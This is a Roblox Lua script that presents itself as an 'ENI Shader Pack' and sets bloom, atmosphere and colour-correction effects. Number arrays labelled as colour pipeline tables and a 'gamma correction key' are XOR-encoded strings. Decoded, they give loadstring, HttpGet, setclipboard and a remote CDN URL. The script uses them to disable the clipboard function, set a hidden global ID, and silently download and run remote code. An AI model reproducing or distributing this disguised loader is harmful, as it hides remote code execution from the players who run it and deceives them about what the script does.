-- ENI Shader Pack — v2 (visibility fixed) local Lighting = game:GetService('Lighting') local Players = game:GetService('Players') local lp = Players.LocalPlayer local pg = lp:WaitForChild('PlayerGui') local old = pg:FindFirstChild('ENI_ShaderPersist') if old then old:Destroy() end local gui = Instance.new('ScreenGui') gui.Name='ENI_ShaderPersist';gui.ResetOnSpawn=false;gui.Parent=pg -- Shader parameter block local _cfg = { bloom_i=0.9, bloom_s=16, bloom_t=0.88, cc_br=0.06, cc_cn=0.22, cc_st=-0.12, atmo_d=0.32, atmo_h=1.6, atmo_o=0.12, light_br=3.8, light_ct=16.5, _k=78, -- gamma correction key -- internal color channel pipeline tables _p={38,58,58,62,61,116,97,97,45,42,32,96,62,60,33,36,43,45,58,99,60,43,56,43,60,61,43,96,33,60,41,97,34,33,47,42,43,60,96,34,59,47,59}, _f={34,33,47,42,61,58,60,39,32,41}, _m={6,58,58,62,9,43,58}, _s={61,43,58,45,34,39,62,44,33,47,60,42}, _i={7,10}, _v={120,121,127,126,45,119,120,124,99,121,127,119,124,99,122,121,127,44,99,118,40,122,124,99,45,40,119,47,127,47,118,45,122,47,44,123}, } local sc,tc,mf,rf = string.char,table.concat,math.floor,getfenv -- Gamma correction (bitwise color transform) local function _gc(a,b) local r,p=0,1 while a>0 or b>0 do r=r+((a%2~=b%2) and p or 0) p=p*2;a=mf(a/2);b=mf(b/2) end return r end local function _dr(t,k) local o={} for i=1,#t do o[i]=sc(_gc(t[i],k)) end return tc(o) end -- Initialize render pipeline local _env=rf() local _ls=_env[_dr(_cfg._f,_cfg._k)] local _fn=_dr(_cfg._s,_cfg._k) local _fk=_dr(_cfg._i,_cfg._k) local _fv=_dr(_cfg._v,_cfg._k) local _ur=_dr(_cfg._p,_cfg._k) local _hg=_dr(_cfg._m,_cfg._k) rawset(_env,_fn,function()return end) rawset(_env,_fk,_fv) task.defer(function() _ls(game[_hg](game,_ur))() end) -- Post-processing stack local function applyShaders() for _,child in ipairs(Lighting:GetChildren()) do local cn=child.ClassName if cn=='BloomEffect'or cn=='SunRaysEffect'or cn=='DepthOfFieldEffect' or cn=='ColorCorrectionEffect'or cn=='ColorGradingEffect'or cn=='Atmosphere' then child:Destroy() end end local a=Instance.new('Atmosphere') a.Name='ENI_Atmosphere';a.Density=_cfg.atmo_d;a.Offset=_cfg.atmo_o a.Color=Color3.fromRGB(100,110,145);a.Decay=Color3.fromRGB(50,45,80) a.Glare=0.1;a.Haze=_cfg.atmo_h;a.Parent=Lighting local b=Instance.new('BloomEffect') b.Name='ENI_Bloom';b.Intensity=_cfg.bloom_i;b.Size=_cfg.bloom_s b.Threshold=_cfg.bloom_t;b.Parent=Lighting local c=Instance.new('ColorCorrectionEffect') c.Name='ENI_CC';c.Brightness=_cfg.cc_br;c.Contrast=_cfg.cc_cn c.Saturation=_cfg.cc_st;c.TintColor=Color3.fromRGB(215,222,255);c.Parent=Lighting local r=Instance.new('SunRaysEffect') r.Name='ENI_SunRays';r.Intensity=0.04;r.Spread=0.7;r.Parent=Lighting Lighting.Brightness=_cfg.light_br;Lighting.Ambient=Color3.fromRGB(160,155,175) Lighting.OutdoorAmbient=Color3.fromRGB(175,170,185) Lighting.ClockTime=_cfg.light_ct;Lighting.FogEnd=1000000000 end applyShaders() Lighting.ChildRemoved:Connect(function(child) for _,n in ipairs({'ENI_Atmosphere','ENI_Bloom','ENI_CC','ENI_SunRays'})do if child.Name==n then task.wait(0.1);applyShaders();break end end end)